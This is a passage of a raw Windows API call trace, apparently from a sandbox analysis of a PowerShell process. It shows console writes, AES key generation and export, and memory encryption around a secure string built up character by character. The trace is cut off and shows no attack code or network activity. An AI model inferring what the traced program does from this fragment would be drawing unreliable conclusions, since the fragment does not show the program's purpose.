returned 0x1b5 [0215.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0215.541] GetConsoleOutputCP () returned 0x1b5 [0215.541] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0215.541] GetConsoleOutputCP () returned 0x1b5 [0215.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.542] GetConsoleOutputCP () returned 0x1b5 [0215.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.542] GetConsoleOutputCP () returned 0x1b5 [0215.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0215.542] GetConsoleOutputCP () returned 0x1b5 [0215.542] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0215.542] GetConsoleOutputCP () returned 0x1b5 [0215.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.543] GetConsoleOutputCP () returned 0x1b5 [0215.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.543] GetConsoleOutputCP () returned 0x1b5 [0215.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0215.543] GetConsoleOutputCP () returned 0x1b5 [0215.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0215.543] GetConsoleOutputCP () returned 0x1b5 [0215.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.544] GetConsoleOutputCP () returned 0x1b5 [0215.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.544] GetConsoleOutputCP () returned 0x1b5 [0215.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2c8) returned 0 [0215.544] GetConsoleOutputCP () returned 0x1b5 [0215.544] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e350, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e350) returned 0 [0215.544] GetConsoleOutputCP () returned 0x1b5 [0215.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.545] GetConsoleOutputCP () returned 0x1b5 [0215.545] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e32c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e32c) returned 0 [0215.545] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e418 | out: lpConsoleScreenBufferInfo=0x5a2e418) returned 1 [0215.545] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0215.547] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2358d04*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x2358d04*, lpNumberOfCharsWritten=0x5a2e404*=0x4f) returned 1 [0215.547] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0215.547] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e404*=0x2) returned 1 [0215.548] GetConsoleOutputCP () returned 0x1b5 [0215.548] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0215.548] GetConsoleOutputCP () returned 0x1b5 [0215.549] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0215.549] GetConsoleOutputCP () returned 0x1b5 [0215.549] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0215.549] GetConsoleOutputCP () returned 0x1b5 [0215.549] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3ec, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3ec) returned 0 [0215.549] GetConsoleOutputCP () returned 0x1b5 [0215.549] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.549] GetConsoleOutputCP () returned 0x1b5 [0215.549] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.549] GetConsoleOutputCP () returned 0x1b5 [0215.550] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.550] GetConsoleOutputCP () returned 0x1b5 [0215.550] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.550] GetConsoleOutputCP () returned 0x1b5 [0215.550] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.550] GetConsoleOutputCP () returned 0x1b5 [0215.550] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.550] GetConsoleOutputCP () returned 0x1b5 [0215.551] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.551] GetConsoleOutputCP () returned 0x1b5 [0215.551] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e37c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e37c) returned 0 [0215.551] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e418 | out: lpConsoleScreenBufferInfo=0x5a2e418) returned 1 [0215.551] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0215.552] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23591ac*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x23591ac*, lpNumberOfCharsWritten=0x5a2e404*=0x4f) returned 1 [0215.552] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e410 | out: lpMode=0x5a2e410) returned 1 [0215.552] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e404, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e404*=0x2) returned 1 [0215.553] GetConsoleOutputCP () returned 0x1b5 [0215.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0215.553] GetConsoleOutputCP () returned 0x1b5 [0215.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0215.554] GetConsoleOutputCP () returned 0x1b5 [0215.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.554] GetConsoleOutputCP () returned 0x1b5 [0215.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.554] GetConsoleOutputCP () returned 0x1b5 [0215.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0215.554] GetConsoleOutputCP () returned 0x1b5 [0215.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0215.554] GetConsoleOutputCP () returned 0x1b5 [0215.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.555] GetConsoleOutputCP () returned 0x1b5 [0215.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.555] GetConsoleOutputCP () returned 0x1b5 [0215.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0215.555] GetConsoleOutputCP () returned 0x1b5 [0215.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0215.555] GetConsoleOutputCP () returned 0x1b5 [0215.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.556] GetConsoleOutputCP () returned 0x1b5 [0215.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.556] GetConsoleOutputCP () returned 0x1b5 [0215.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0215.556] GetConsoleOutputCP () returned 0x1b5 [0215.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0215.556] GetConsoleOutputCP () returned 0x1b5 [0215.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.557] GetConsoleOutputCP () returned 0x1b5 [0215.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0215.557] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0215.557] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0215.558] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2359b90*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x2359b90*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0215.558] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0215.558] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0215.559] EtwEventActivityIdControl () returned 0x0 [0215.559] EtwEventActivityIdControl () returned 0x0 [0215.560] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.560] EtwEventActivityIdControl () returned 0x0 [0215.560] EtwEventActivityIdControl () returned 0x0 [0215.560] EtwEventActivityIdControl () returned 0x0 [0215.562] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.563] EtwEventActivityIdControl () returned 0x0 [0215.563] EtwEventActivityIdControl () returned 0x0 [0215.563] EtwEventActivityIdControl () returned 0x0 [0215.610] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cdd0) returned 1 [0215.611] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69080) returned 1 [0215.611] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0215.611] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0215.611] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23714f0, pdwDataLen=0x5a2e82c | out: pbData=0x23714f0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0215.612] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.612] EtwEventActivityIdControl () returned 0x0 [0215.612] EtwEventActivityIdControl () returned 0x0 [0215.612] EtwEventActivityIdControl () returned 0x0 [0215.613] SysStringLen (param_1="") returned 0x8 [0215.613] SysStringLen (param_1="5") returned 0x8 [0215.613] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.613] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0215.613] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0215.613] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.614] SysStringLen (param_1="57") returned 0x8 [0215.614] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.614] SysStringLen (param_1="⣦扢䧛爢ᜩ憉ଏ") returned 0x8 [0215.614] SysStringLen (param_1="⣦扢䧛爢ᜩ憉ଏ") returned 0x8 [0215.614] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.614] SysStringLen (param_1="57n") returned 0x8 [0215.614] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.614] SysStringLen (param_1="풜ዬ栏䟯뀢졩❾챷") returned 0x8 [0215.614] SysStringLen (param_1="풜ዬ栏䟯뀢졩❾챷") returned 0x8 [0215.614] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.615] SysStringLen (param_1="57nN") returned 0x8 [0215.615] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.615] SysStringLen (param_1="殹꽳쩡裫发م⠥螻") returned 0x8 [0215.615] SysStringLen (param_1="殹꽳쩡裫发م⠥螻") returned 0x8 [0215.615] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.615] SysStringLen (param_1="57nN8") returned 0x8 [0215.615] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.615] SysStringLen (param_1="횳㡀旄醧㚧䡓詷") returned 0x8 [0215.615] SysStringLen (param_1="횳㡀旄醧㚧䡓詷") returned 0x8 [0215.615] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.615] SysStringLen (param_1="57nN8W") returned 0x8 [0215.615] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.616] SysStringLen (param_1="酋䧘໡횙采鈡╤") returned 0x8 [0215.616] SysStringLen (param_1="酋䧘໡횙采鈡╤") returned 0x8 [0215.616] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.616] SysStringLen (param_1="57nN8Wr") returned 0x8 [0215.616] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.616] SysStringLen (param_1="ۋ袧鐪怚모ɠ䗞") returned 0x8 [0215.616] SysStringLen (param_1="ۋ袧鐪怚모ɠ䗞") returned 0x8 [0215.616] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.616] SysStringLen (param_1="57nN8Wre") returned 0x8 [0215.616] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0215.616] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\⋜) returned 0x8 [0215.617] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\⋜) returned 0x8 [0215.617] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\⋜) returned 0x8 [0215.617] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\⋜) returned 0x10 [0215.617] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.618] SysStringLen (param_1="57nN8Wrem缨ἏὟ䎏ᙅ뀴ᇅ") returned 0x10 [0215.618] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.618] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\Ờ㛜뀫匣耍츒䋱ⅷ≲) returned 0x10 [0215.618] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\Ờ㛜뀫匣耍츒䋱ⅷ≲) returned 0x10 [0215.618] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.618] SysStringLen (param_1="57nN8WremiἏὟ䎏ᙅ뀴ᇅ") returned 0x10 [0215.618] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.618] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ნ擮ࠥ뭆⇢㧂접⋌) returned 0x10 [0215.618] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ნ擮ࠥ뭆⇢㧂접⋌) returned 0x10 [0215.618] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.619] SysStringLen (param_1="57nN8WremiBὟ䎏ᙅ뀴ᇅ") returned 0x10 [0215.619] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.619] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ᇜ弒䦎ヵ䆿\蟟鏃纖") returned 0x10 [0215.619] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ᇜ弒䦎ヵ䆿\蟟鏃纖") returned 0x10 [0215.619] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.619] SysStringLen (param_1="57nN8WremiBu䎏ᙅ뀴ᇅ") returned 0x10 [0215.619] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.619] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\엜ች畲깚≳變↡慀≗) returned 0x10 [0215.619] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\엜ች畲깚≳變↡慀≗) returned 0x10 [0215.619] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.620] SysStringLen (param_1="57nN8WremiBuiᙅ뀴ᇅ") returned 0x10 [0215.620] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.620] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\상䖼鷯猒䷛ퟎ霬∸) returned 0x10 [0215.620] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\상䖼鷯猒䷛ퟎ霬∸) returned 0x10 [0215.620] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.620] SysStringLen (param_1="57nN8WremiBuiT뀴ᇅ") returned 0x10 [0215.620] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.620] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\勜♳ⓒ\薟㼫庯槸") returned 0x10 [0215.620] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\勜♳ⓒ\薟㼫庯槸") returned 0x10 [0215.620] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.621] SysStringLen (param_1="57nN8WremiBuiTyᇅ") returned 0x10 [0215.621] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.621] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\關塔ᓠ筡ꂅ逤⋾) returned 0x10 [0215.621] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\關塔ᓠ筡ꂅ逤⋾) returned 0x10 [0215.621] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.621] SysStringLen (param_1="57nN8WremiBuiTyN") returned 0x10 [0215.621] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.621] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ⋧) returned 0x10 [0215.622] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ⋧) returned 0x10 [0215.622] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ⋧) returned 0x10 [0215.622] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ⋧) returned 0x18 [0215.622] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.622] SysStringLen (param_1="57nN8WremiBuiTyNnㅄ灇ᣳᭉ뵱쥭⨤") returned 0x18 [0215.622] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.622] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ闧篏깎焯ֲ獢\寛鿎") returned 0x18 [0215.623] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ闧篏깎焯ֲ獢\寛鿎") returned 0x18 [0215.623] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.623] SysStringLen (param_1="57nN8WremiBuiTyNnJ灇ᣳᭉ뵱쥭⨤") returned 0x18 [0215.623] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.623] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ뻧镖ꮻ᡽蚶௢羼䤂∧) returned 0x18 [0215.623] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ뻧镖ꮻ᡽蚶௢羼䤂∧) returned 0x18 [0215.623] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.623] SysStringLen (param_1="57nN8WremiBuiTyNnJqᣳᭉ뵱쥭⨤") returned 0x18 [0215.623] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.751] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ귧썷⮭⏃㛱澪辝䦑≨) returned 0x18 [0215.751] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ귧썷⮭⏃㛱澪辝䦑≨) returned 0x18 [0215.751] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.751] SysStringLen (param_1="57nN8WremiBuiTyNnJq/ᭉ뵱쥭⨤") returned 0x18 [0215.752] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.752] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧ﱡ㺖₢Ꭷ않⋨) returned 0x18 [0215.752] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ鯧ﱡ㺖₢Ꭷ않⋨) returned 0x18 [0215.752] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.752] SysStringLen (param_1="57nN8WremiBuiTyNnJq/q뵱쥭⨤") returned 0x18 [0215.752] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.752] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ닧ᩈ흒骥Ⴉ拀垰∙) returned 0x18 [0215.752] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ닧ᩈ흒骥Ⴉ拀垰∙) returned 0x18 [0215.752] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.752] SysStringLen (param_1="57nN8WremiBuiTyNnJq/qQ쥭⨤") returned 0x18 [0215.752] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.752] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ勧葥젔駆䩌㩣懸⋴) returned 0x18 [0215.753] SysStringLen (param_1="俥䞽桦ꖑ졠ꀺ썇\ៜ텴⸉㴇ꚢຐḋᾺ勧葥젔駆䩌㩣懸⋴) returned 0x18 [0215.753] 